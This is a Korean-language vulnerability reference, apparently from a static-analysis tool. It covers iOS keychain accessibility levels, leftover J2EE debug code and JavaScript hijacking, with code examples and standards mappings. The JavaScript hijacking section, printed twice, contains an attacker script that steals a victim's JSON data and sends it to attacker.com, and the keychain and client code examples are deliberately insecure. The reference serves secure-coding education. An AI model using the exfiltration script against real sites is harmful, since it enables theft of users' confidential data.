계: Encapsulation

캡슐화는 강력한 경계를 그리는 것입니다. 웹 브라우저에서는 사용자의 모바일 코드가 다른 모바일 코드에 의해 오용되지 않도록 하는 것을 의미합니다. 서버에서는 검증된 데이터와 검증되지 않은 데이터, 한 사용자의 데이터와 다른 사용자의 데이터, 데이터 사용자가 볼 수 있는 데이터와 볼 수 없는 데이터 간의 차별화를 의미할 수 있습니다.

104 개 항목 찾음
취약점
Abstract
식별된 메서드는 액세스 가능성 수준을 지정하지 않고 키 집합에 데이터를 저장합니다.
Explanation
키 집합에 데이터를 저장할 때는 항목에 액세스가 가능한 경우를 정의하는 액세스 가능성 수준을 설정해야 합니다. 가능한 액세스 가능성 수준에는 다음이 포함됩니다.

-kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly:
재시작 후 사용자가 장치를 한 번 잠금 해제하기 전까지는 키 집합 항목의 데이터에 액세스할 수 없습니다.
처음 잠금 해제 후에는 다음 재시작까지 계속 액세스 가능한 상태로 유지됩니다. 백그라운드 응용 프로그램이 액세스해야 하는 항목에 권장합니다. 이 특성이 지정된 항목은 새 장치로 마이그레이션되지 않습니다. 따라서 다른 장치의 백업에서 복원된 후에는 이러한 항목이 존재하지 않습니다.
iOS 4.0 이상에서 사용 가능합니다.

-kSecAttrAccessibleAlways:
장치가 잠겼는지 여부에 관계 없이 키 집합 항목의 데이터에 언제나 액세스할 수 있습니다.
응용 프로그램 사용에 권장하지 않습니다. 이 특성이 지정된 항목은 암호화된 백업을 사용할 때 새 장치로 마이그레이션됩니다.
iOS 4.0 이상에서 사용 가능합니다.

-kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly:
장치가 잠금 해제되었을 때만 키 집합의 데이터에 액세스할 수 있습니다. 장치에 암호가 설정된 경우에만 사용할 수 있습니다.
응용 프로그램이 전경에 있을 때만 액세스할 수 있어야 하는 항목에 권장합니다. 이 특성이 지정된 항목은 새 장치로 마이그레이션되지 않습니다. 백업이 새 장치로 복원된 후에는 이러한 항목이 없어집니다. 암호가 없는 장치에서는 이 클래스에 항목을 저장할 수 없습니다. 장치 암호를 비활성화하면 이 클래스의 모든 항목이 삭제됩니다.
iOS 8.0 이상에서 사용 가능합니다.

-kSecAttrAccessibleAlwaysThisDeviceOnly:
장치가 잠겼는지 여부에 관계 없이 키 집합 항목의 데이터에 언제나 액세스할 수 있습니다.
응용 프로그램 사용에 권장하지 않습니다. 이 특성이 지정된 항목은 새 장치로 마이그레이션되지 않습니다. 따라서 다른 장치의 백업에서 복원된 후에는 이러한 항목이 존재하지 않습니다.
iOS 4.0 이상에서 사용 가능합니다.

-kSecAttrAccessibleWhenUnlocked:
사용자가 장치를 잠금 해제하고 있을 때만 키 집합 항목의 데이터에 액세스할 수 있습니다.
응용 프로그램이 전경에 있을 때만 액세스할 수 있어야 하는 항목에 권장합니다. 이 특성이 지정된 항목은 암호화된 백업을 사용할 때 새 장치로 마이그레이션됩니다.
액세스 가능성 상수를 명시적으로 설정하지 않고 추가된 키 집합 항목에 대한 기본값입니다.
iOS 4.0 이상에서 사용 가능합니다.

-kSecAttrAccessibleWhenUnlockedThisDeviceOnly:
사용자가 장치를 잠금 해제하고 있을 때만 키 집합 항목의 데이터에 액세스할 수 있습니다.
응용 프로그램이 전경에 있을 때만 액세스할 수 있어야 하는 항목에 권장합니다. 이 특성이 지정된 항목은 새 장치로 마이그레이션되지 않습니다. 따라서 다른 장치의 백업에서 복원된 후에는 이러한 항목이 존재하지 않습니다.
iOS 4.0 이상에서 사용 가능합니다.

키 집합 보호 기능이 처음 도입되었을 때 기본값은 kSecAttrAccessibleAlways였습니다. 그런데 장치를 훔치거나 액세스를 획득한 누군가가 키 집합의 내용을 읽을 수 있기 때문에 이 기본값에는 보안 문제가 있었습니다. 현재의 기본 특성은 적절하게 엄격한 기본값인 kSecAttrAccessibleWhenUnlocked입니다. 하지만 Apple의 공개 설명서에서는 무엇을 기본 특성으로 사용해야 하는지에 대해 의견이 다르기 때문에 만약에 대비하여 모든 키 집합 항목에서 이 특성을 명시적으로 설정해야 합니다.

예제 1: 다음 예제에서는 액세스 가능성 수준을 명확하게 지정하지 않고 키 집합 항목이 저장되어 iOS 버전에 따라 다르게 동작할 수 있습니다.


...
NSMutableDictionary *dict = [NSMutableDictionary dictionary];
NSData *token = [@"secret" dataUsingEncoding:NSUTF8StringEncoding];

// Configure Keychain Item
[dict setObject:(__bridge id)kSecClassGenericPassword forKey:(__bridge id) kSecClass];
[dict setObject:token forKey:(__bridge id)kSecValueData];
...

OSStatus error = SecItemAdd((__bridge CFDictionaryRef)dict, NULL);
...
References
[1] Keychain Services Apple
[2] Keychain Item Accessibility Constants Apple
[3] David Thiel iOS Application Security: The Definitive Guide for Hackers and Developers No Starch Press
[4] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark normal
[8] Standards Mapping - Common Weakness Enumeration CWE ID 359
[9] Standards Mapping - Common Weakness Enumeration Top 25 2019 [4] CWE ID 200
[10] Standards Mapping - Common Weakness Enumeration Top 25 2020 [7] CWE ID 200
[11] Standards Mapping - Common Weakness Enumeration Top 25 2021 [20] CWE ID 200
[12] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 8.2.2 Client-side Data Protection (L1 L2 L3), 8.3.4 Sensitive Private Data (L1 L2 L3), 10.2.1 Malicious Code Search (L2 L3)
[14] Standards Mapping - OWASP Mobile 2024 M9 Insecure Data Storage
[15] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-AUTH-2, MASVS-STORAGE-2
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 3.3.1, Requirement 3.5.1, Requirement 4.2.2, Requirement 6.2.4, Requirement 8.3.1
desc.dataflow.objc.insecure_storage_unspecified_keychain_access_policy
Abstract
식별된 메서드는 액세스 가능성 수준을 지정하지 않고 키 집합에 데이터를 저장합니다.
Explanation
키 집합에 데이터를 저장할 때는 항목에 액세스가 가능한 경우를 정의하는 액세스 가능성 수준을 설정해야 합니다. 가능한 액세스 가능성 수준에는 다음이 포함됩니다.

-kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly:
재시작 후 사용자가 장치를 한 번 잠금 해제하기 전까지는 키 집합 항목의 데이터에 액세스할 수 없습니다.
처음 잠금 해제 후에는 다음 재시작까지 계속 액세스 가능한 상태로 유지됩니다. 백그라운드 응용 프로그램이 액세스해야 하는 항목에 권장합니다. 이 특성이 지정된 항목은 새 장치로 마이그레이션되지 않습니다. 따라서 다른 장치의 백업에서 복원된 후에는 이러한 항목이 존재하지 않습니다.
iOS 4.0 이상에서 사용 가능합니다.

-kSecAttrAccessibleAlways:
장치가 잠겼는지 여부에 관계 없이 키 집합 항목의 데이터에 언제나 액세스할 수 있습니다.
응용 프로그램 사용에 권장하지 않습니다. 이 특성이 지정된 항목은 암호화된 백업을 사용할 때 새 장치로 마이그레이션됩니다.
iOS 4.0 이상에서 사용 가능합니다.

-kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly:
장치가 잠금 해제되었을 때만 키 집합의 데이터에 액세스할 수 있습니다. 장치에 암호가 설정된 경우에만 사용할 수 있습니다.
응용 프로그램이 전경에 있을 때만 액세스할 수 있어야 하는 항목에 권장합니다. 이 특성이 지정된 항목은 새 장치로 마이그레이션되지 않습니다. 백업이 새 장치로 복원된 후에는 이러한 항목이 없어집니다. 암호가 없는 장치에서는 이 클래스에 항목을 저장할 수 없습니다. 장치 암호를 비활성화하면 이 클래스의 모든 항목이 삭제됩니다.
iOS 8.0 이상에서 사용 가능합니다.

-kSecAttrAccessibleAlwaysThisDeviceOnly:
장치가 잠겼는지 여부에 관계 없이 키 집합 항목의 데이터에 언제나 액세스할 수 있습니다.
응용 프로그램 사용에 권장하지 않습니다. 이 특성이 지정된 항목은 새 장치로 마이그레이션되지 않습니다. 따라서 다른 장치의 백업에서 복원된 후에는 이러한 항목이 존재하지 않습니다.
iOS 4.0 이상에서 사용 가능합니다.

-kSecAttrAccessibleWhenUnlocked:
사용자가 장치를 잠금 해제하고 있을 때만 키 집합 항목의 데이터에 액세스할 수 있습니다.
응용 프로그램이 전경에 있을 때만 액세스할 수 있어야 하는 항목에 권장합니다. 이 특성이 지정된 항목은 암호화된 백업을 사용할 때 새 장치로 마이그레이션됩니다.
액세스 가능성 상수를 명시적으로 설정하지 않고 추가된 키 집합 항목에 대한 기본값입니다.
iOS 4.0 이상에서 사용 가능합니다.

-kSecAttrAccessibleWhenUnlockedThisDeviceOnly:
사용자가 장치를 잠금 해제하고 있을 때만 키 집합 항목의 데이터에 액세스할 수 있습니다.
응용 프로그램이 전경에 있을 때만 액세스할 수 있어야 하는 항목에 권장합니다. 이 특성이 지정된 항목은 새 장치로 마이그레이션되지 않습니다. 따라서 다른 장치의 백업에서 복원된 후에는 이러한 항목이 존재하지 않습니다.
iOS 4.0 이상에서 사용 가능합니다.

키 집합 보호 기능이 처음 도입되었을 때 기본값은 kSecAttrAccessibleAlways였습니다. 그런데 장치를 훔치거나 액세스를 획득한 누군가가 키 집합의 내용을 읽을 수 있기 때문에 이 기본값에는 보안 문제가 있었습니다. 현재의 기본 특성은 적절하게 엄격한 기본값인 kSecAttrAccessibleWhenUnlocked입니다. 하지만 Apple의 공개 설명서에서는 무엇을 기본 특성으로 사용해야 하는지에 대해 의견이 다르기 때문에 만약에 대비하여 모든 키 집합 항목에서 이 특성을 명시적으로 설정해야 합니다.

예제 1: 다음 예제에서는 액세스 가능성 수준을 명확하게 지정하지 않고 키 집합 항목이 저장되어 iOS 버전에 따라 다르게 동작할 수 있습니다.


...
// Configure Keychain Item
let token = "secret"
var query = [String : AnyObject]()
query[kSecClass as String] = kSecClassGenericPassword
query[kSecValueData as String] = token as AnyObject?

SecItemAdd(query as CFDictionary, nil)
...
References
[1] Keychain Services Apple
[2] Keychain Item Accessibility Constants Apple
[3] David Thiel iOS Application Security: The Definitive Guide for Hackers and Developers No Starch Press
[4] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark normal
[8] Standards Mapping - Common Weakness Enumeration CWE ID 359
[9] Standards Mapping - Common Weakness Enumeration Top 25 2019 [4] CWE ID 200
[10] Standards Mapping - Common Weakness Enumeration Top 25 2020 [7] CWE ID 200
[11] Standards Mapping - Common Weakness Enumeration Top 25 2021 [20] CWE ID 200
[12] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 8.2.2 Client-side Data Protection (L1 L2 L3), 8.3.4 Sensitive Private Data (L1 L2 L3), 10.2.1 Malicious Code Search (L2 L3)
[14] Standards Mapping - OWASP Mobile 2024 M9 Insecure Data Storage
[15] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-AUTH-2, MASVS-STORAGE-2
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 3.3.1, Requirement 3.5.1, Requirement 4.2.2, Requirement 6.2.4, Requirement 8.3.1
desc.dataflow.swift.insecure_storage_unspecified_keychain_access_policy
Abstract
디버그 코드는 배포된 웹 응용 프로그램에 예기치 않은 진입점을 만들 수 있습니다.
Explanation
일반적인 개발 방법은 응용 프로그램으로 발표하거나 배포하지는 않고 디버깅 및 테스트 목적으로만 특별 디자인된 "비밀" 코드를 추가하는 것입니다. 이 비밀 디버그 코드가 실수로 응용 프로그램에 남아 있게 되면 응용 프로그램은 예기치 않은 상호 작용 모드에 노출됩니다. 이 비밀 진입점은 디자인이나 테스트 도중 고려되지 않고 응용 프로그램의 예상 동작 조건 범위를 벗어나기 때문에 보안 위험을 야기합니다.

실수로 남겨둔 디버그 코드의 가장 일반적인 예는 main() 메서드가 웹 응용 프로그램에 나타나는 것입니다. 이는 제품 개발에서는 허용되는 방식이지만 J2EE 운영 응용 프로그램에 속한 클래스는 main()을 정의할 수 없습니다.
References
[1] ENV06-J. Production code must not contain debugging entry points CERT
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1
[3] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4
[4] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[5] Standards Mapping - CIS Google Kubernetes Engine Benchmark normal
[6] Standards Mapping - Common Weakness Enumeration CWE ID 489
[7] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[8] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[9] Standards Mapping - OWASP Top 10 2021 A05 Security Misconfiguration
[10] Standards Mapping - OWASP Application Security Verification Standard 4.0 14.3.2 Unintended Security Disclosure Requirements (L1 L2 L3), 14.2.2 Dependency (L1 L2 L3)
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.5
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.5
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.5
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.5
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.5
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[18] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 3.6 - Sensitive Data Retention
[19] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 3.6 - Sensitive Data Retention
[20] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 3.6 - Sensitive Data Retention
[21] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3620 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3620 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3620 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3620 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3620 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3620 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3620 CAT II
desc.structural.java.j2ee_badpractices_leftover_debug_code
Abstract
민감한 데이터를 전송하도록 JavaScript 주석을 사용하는 응용 프로그램은 JavaScript 하이재킹(hijacking)에 취약하므로 권한이 없는 공격자가 취약한 응용 프로그램의 기밀 데이터를 읽을 수 있습니다.
Explanation
1) 데이터 전송 형식으로 JavaScript 개체를 사용하는 경우 및 2) 기밀 데이터를 처리하는 경우 응용 프로그램은 JavaScript 하이재킹에 취약할 수 있습니다. JavaScript 하이재킹(hijacking) 취약성이 직접적인 코딩 실수의 결과로 발생하지는 않기 때문에 Fortify Secure Coding Rulepacks는 HTTP 응답에서 JavaScript를 생성하는 것으로 나타나는 코드를 식별하여 잠재적인 JavaScript 하이재킹(hijacking) 취약성을 파악합니다.

웹 브라우저는 악성 웹 사이트로부터 사용자를 보호하기 위해서 동일 출처 정책(Same Origin Policy)을 강제로 사용합니다. JavaScript가 웹 페이지의 항목에 액세스하려면 동일 출처 정책(Same Origin Policy)에 따라 JavaScript 및 웹페이지의 출처가 동일한 도메인이어야 합니다. 동일 출처 정책(Same Origin Policy)을 사용하지 않을 경우, 악성 웹 사이트가 클라이언트의 기밀을 사용하여 다른 웹 사이트의 민감한 정보를 로드하고, 정보를 발췌하며 공격자와 역으로 통신하도록 JavaScript를 사용할 수 있습니다. 웹 응용 프로그램이 기밀 정보를 통신하는 데 JavaScript를 사용할 경우, 공격자는 JavaScript 하이재킹(hijacking)을 통해 동일 출처 정책(Same Origin Policy)을 피할 수 있습니다. 동일 출처 정책(Same Origin Policy)의 허점은 다른 모든 웹사이트의 컨텍스트에 포함되고 실행되도록 모든 웹사이트의 JavaScript를 허용한다는 점입니다. 악성 사이트가 클라이언트의 취약한 사이트에서 로드한 임의의 데이터를 직접 검사할 수는 없지만, JavaScript의 실행 및 관련한 부작용을 지켜보도록 허용하는 환경을 설정하면 이러한 허점을 이용할 수 있습니다. 많은 Web 2.0 응용 프로그램에서 데이터 전송 메커니즘으로 JavaScript를 사용하기 시작한 이후, 기존의 웹 응용 프로그램에는 없는 취약점이 자주 나타납니다.

JavaScript에서 정보 통신을 위한 가장 흔한 형식은 JSON(JavaScript Object Notation)입니다. JSON RFC는 JavaScript 개체 리터럴 구문의 부분 집합이 되도록 JSON을 지정합니다. JSON은 2가지 데이터 구조, 즉 배열 및 개체를 기반으로 합니다. 하나 또는 그 이상의 유효한 JavaScript 문으로 메시지를 해석할 수 있는 모든 데이터 전송 형식은 JavaScript 하이재킹(hijacking)에 대해 취약합니다. JSON 배열은 그 자체로 유효한 JavaScript 문이므로 JSON으로 인해 JavaScript 하이재킹(hijacking)이 보다 용이해집니다. 배열은 목록을 통신하는 데 있어 자연스러운 형태이므로 일반적으로 응용 프로그램이 여러 값으로 통신해야 하는 곳마다 이 배열이 사용됩니다. 달리 표현하자면, JSON 배열은 JavaScript 하이재킹(hijacking)에 대해 매우 취약합니다. JSON 개체는 자체로서 유효한 JavaScript 문인 일부 다른 JavaScript로 래핑된 경우에만 취약합니다.

예제 1: 다음 예제는 영업 리드를 관리하는 데 사용되는 웹 응용 프로그램의 클라이언트 및 서버 구성 요소 간의 올바른 JSON 상호 작용을 보여 주는 것으로 시작합니다. 또한, 공격자가 클라이언트를 모방하는 방법 및 서버가 반환하는 기밀 데이터에 액세스하는 방법을 나타냅니다. 이 예는 Mozilla 기반 브라우저용으로 작성되었습니다. 다른 주요 브라우저는 새 연산자를 사용하지 않고 개체가 생성될 때 네이티브 구성자를 덮어 쓰는 것을 허용하지 않습니다.

클라이언트는 서버에 데이터를 요청하고 다음 코드를 사용하여 결과를 JSON으로서 평가합니다.


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


이 코드가 실행될 때, 다음과 같이 나타나는 HTTP 요청이 생성됩니다.


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(이러한 HTTP 응답 및 뒤따르는 내용에서, 본 설명과 직접적으로 관련이 없는 HTTP 헤더는 생략합니다.)
서버가 다음 JSON 형식의 배열로 응답합니다.


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


이 경우, JSON은 현재 사용자와 관련된 기밀 정보(영업 리드 목록)를 포함합니다. 다른 사용자는 사용자 세션 ID를 모르고서는 본 정보에 액세스할 수 없습니다. (최신 웹 응용 프로그램에서는 세션 ID가 쿠키로 저장됩니다.) 그러나, 피해자가 악성 웹 사이트를 방문하는 경우, 악성 사이트에서 JavaScript 하이재킹(hijacking)을 사용하여 해당 정보를 검색할 수 있습니다. 피해자가 속아서 다음 악성 코드를 포함하는 웹 페이지를 방문하는 경우, 피해자의 리드 정보(lead information)가 공격자의 웹 사이트로 전송됩니다.


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


악성 코드는 스크립트 태그를 사용하여 현재 페이지에 JSON 개체를 포함합니다. 웹 브라우저에서는 요청과 함께 적절한 세션 쿠키를 보냅니다. 즉 이 요청이 올바른 응용 프로그램에서 생성된 것처럼 처리됩니다.

JSON 배열이 클라이언트에 도착하면 이 배열은 악성 페이지의 컨텍스트에서 평가됩니다. JSON 평가를 모니터링하기 위해 악성 페이지에는 새 개체를 생성하는 데 사용되는 JavaScript 함수가 새롭게 정의되었습니다. 이를 통해 악성 코드가 후크를 삽입하여 각 개체 생성 작업에 액세스하고 개체 콘텐트를 악성 사이트로 다시 전송할 수 있게 되었습니다. 대신 다른 공격이 배열의 기본 생성자를 오버라이드할 수 있습니다. 매시업에서 사용하도록 작성된 응용 프로그램이 각 JavaScript 메시지의 끝에서 콜백 함수를 호출하는 경우가 있습니다. 이 콜백 함수는 매시업의 다른 응용 프로그램이 정의하도록 하기 위한 것입니다. 콜백 함수를 사용하면 JavaScript 하이재킹(hijacking) 공격을 간단하게 수행할 수 있습니다. 모든 공격자가 해야 할 작업은 함수만 정의하는 것입니다. 응용 프로그램은 매시업하기 쉽거나 안전하게 보호되는 상태일 수 있지만 동시에 두 상태일 수는 없습니다. 사용자가 취약한 사이트에 로그인되어 있지 않으면 공격자는 사용자에게 로그인을 요청한 후 적법한 응용 프로그램 로그인 페이지를 표시하여 공격을 시도할 수 있습니다.

이때 공격자가 사용자 자격 증명에 대한 액세스 권한을 얻지는 않기 때문에 이 방식은 피싱 공격이 아닙니다. 그러므로 피싱 방지 기능을 사용해도 공격을 피할 수 없습니다. 보다 복잡한 공격에서는 JavaScript를 사용하여 스크립트 태그를 동적으로 생성함으로써 응용 프로그램에 일련의 요청을 할 수 있습니다. 이와 동일한 기술을 사용하여 응용 프로그램 매시업을 생성하는 경우도 있습니다. 두 가지 경우의 차이는 매시업 시나리오의 경우 대상 응용 프로그램 중 하나가 악성 응용 프로그램이라는 점입니다.
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
desc.dataflow.java.javascript_hijacking
Abstract
민감한 데이터를 전송하도록 JavaScript 주석을 사용하는 응용 프로그램은 JavaScript 하이재킹(hijacking)에 취약하므로 권한이 없는 공격자가 취약한 응용 프로그램의 기밀 데이터를 읽을 수 있습니다.
Explanation
1) 데이터 전송 형식으로 JavaScript 개체를 사용하는 경우 및 2) 기밀 데이터를 처리하는 경우 응용 프로그램은 JavaScript 하이재킹에 취약할 수 있습니다. JavaScript 하이재킹(hijacking) 취약성이 직접적인 코딩 실수의 결과로 발생하지는 않기 때문에 Fortify Secure Coding Rulepacks는 HTTP 응답에서 JavaScript를 생성하는 것으로 나타나는 코드를 식별하여 잠재적인 JavaScript 하이재킹(hijacking) 취약성을 파악합니다.

웹 브라우저는 악성 웹사이트로부터 사용자를 보호하기 위해 동일 출처 정책(Same Origin Policy)을 강제 적용합니다. JavaScript가 웹 페이지의 항목에 액세스하려면 동일 출처 정책(Same Origin Policy)에 따라 JavaScript 및 웹페이지의 출처가 동일한 도메인이어야 합니다. 동일 출처 정책(Same Origin Policy)을 사용하지 않을 경우, 악성 웹 사이트가 클라이언트의 기밀을 사용하여 다른 웹 사이트의 민감한 정보를 로드하고, 정보를 발췌하며 공격자와 역으로 통신하도록 JavaScript를 사용할 수 있습니다. 웹 응용 프로그램이 기밀 정보를 통신하는 데 JavaScript를 사용할 경우, 공격자는 JavaScript 하이재킹(hijacking)을 통해 동일 출처 정책(Same Origin Policy)을 우회할 수 있습니다. 동일 출처 정책(Same Origin Policy)의 허점은 다른 모든 웹사이트의 컨텍스트에 포함되고 실행되도록 모든 웹사이트의 JavaScript를 허용한다는 점입니다. 악성 사이트는 클라이언트의 취약한 사이트에서 로드된 데이터를 직접 검사할 수 없지만 JavaScript 실행 및 관련 부작용을 관찰할 수 있는 환경을 설정하여 이 허점을 이용할 수 있습니다. 많은 Web 2.0 응용 프로그램이 JavaScript를 데이터 전송 메커니즘으로 사용하기 때문에 기존 웹 응용 프로그램과 달리 취약한 경우가 많습니다.

JavaScript에서 정보 통신을 위한 가장 흔한 형식은 JSON(JavaScript Object Notation)입니다. JSON RFC는 JavaScript 개체 리터럴 구문의 부분 집합이 되도록 JSON을 지정합니다. JSON은 2가지 데이터 구조, 즉 배열 및 개체를 기반으로 합니다. 하나 또는 그 이상의 유효한 JavaScript 문으로 메시지를 해석할 수 있는 모든 데이터 전송 형식은 JavaScript 하이재킹(hijacking)에 대해 취약합니다. JSON 배열은 그 자체로 유효한 JavaScript 문이므로 JSON으로 인해 JavaScript 하이재킹(hijacking)이 보다 용이해집니다. 배열은 목록을 통신하는 데 있어 자연스러운 형태이므로 일반적으로 응용 프로그램이 여러 값으로 통신해야 하는 곳마다 이 배열이 사용됩니다. 달리 표현하자면, JSON 배열은 JavaScript 하이재킹(hijacking)에 대해 매우 취약합니다. JSON 개체는 자체로서 유효한 JavaScript 문인 일부 다른 JavaScript로 래핑된 경우에만 취약합니다.

예제 1: 다음 예제는 영업 리드를 관리하는 데 사용되는 웹 응용 프로그램의 클라이언트 및 서버 구성 요소 간의 올바른 JSON 상호 작용을 보여 주는 것으로 시작합니다. 또한, 공격자가 클라이언트를 모방하는 방법 및 서버가 반환하는 기밀 데이터에 접근하는 방법을 나타냅니다. 이 예는 Mozilla 기반 브라우저용으로 작성되었습니다. 다른 주요 브라우저는 새 연산자를 사용하지 않고 개체가 생성될 때 네이티브 구성자를 덮어 쓰는 것을 허용하지 않습니다.

클라이언트는 서버에 데이터를 요청하고 다음 코드를 사용하여 결과를 JSON으로서 평가합니다.

var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


이 코드가 실행될 때, 다음과 같이 나타나는 HTTP 요청이 생성됩니다.


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(이러한 HTTP 응답 및 뒤따르는 내용에서, 본 설명과 직접적으로 관련이 없는 HTTP 헤더는 생략합니다.)
서버가 다음 JSON 형식의 배열로 응답합니다.


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


이 경우, JSON은 현재 사용자와 관련된 기밀 정보(영업 리드 목록)를 포함합니다. 다른 사용자는 사용자 세션 ID를 모르고서는 본 정보에 접근할 수 없습니다. (최신 웹 응용 프로그램에서는 세션 ID가 쿠키로 저장됩니다.) 그러나, 피해자가 악성 웹 사이트를 방문하는 경우, 악성 사이트에서 JavaScript 하이재킹(hijacking)을 사용하여 해당 정보를 검색할 수 있습니다. 피해자가 속아서 다음 악성 코드를 포함하는 웹 페이지를 방문하는 경우, 피해자의 리드 정보(lead information)가 공격자의 웹 사이트로 전송됩니다.


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


악성 코드는 스크립트 태그를 사용하여 현재 페이지에 JSON 개체를 포함합니다. 웹 브라우저에서는 요청과 함께 적절한 세션 쿠키를 보냅니다. 즉 이 요청이 올바른 응용 프로그램에서 생성된 것처럼 처리됩니다.

JSON 배열이 클라이언트에 도착하면 이 배열은 악성 페이지의 컨텍스트에서 평가됩니다. JSON 평가를 모니터링하기 위해 악성 페이지에는 새 개체를 생성하는 데 사용되는 JavaScript 함수가 새롭게 정의되었습니다. 이를 통해 악성 코드가 후크를 삽입하여 각 개체 생성 작업에 접근하고 개체 콘텐트를 악성 사이트로 다시 전송할 수 있게 되었습니다. 대신 다른 공격이 배열의 기본 생성자를 오버라이드할 수 있습니다. 매시업에서 사용하도록 작성된 응용 프로그램이 각 JavaScript 메시지의 끝에서 콜백 함수를 호출하는 경우가 있습니다. 이 콜백 함수는 매시업의 다른 응용 프로그램이 정의하도록 하기 위한 것입니다. 콜백 함수를 사용하면 JavaScript 하이재킹(hijacking) 공격을 간단하게 수행할 수 있습니다. 모든 공격자가 해야 할 작업은 함수만 정의하는 것입니다. 응용 프로그램은 매시업하기 쉽거나 안전하게 보호되는 상태일 수 있지만 동시에 두 상태일 수는 없습니다. 사용자가 취약한 사이트에 로그인되어 있지 않으면 공격자는 사용자에게 로그인을 요청한 후 적법한 응용 프로그램 로그인 페이지를 표시하여 공격을 시도할 수 있습니다.

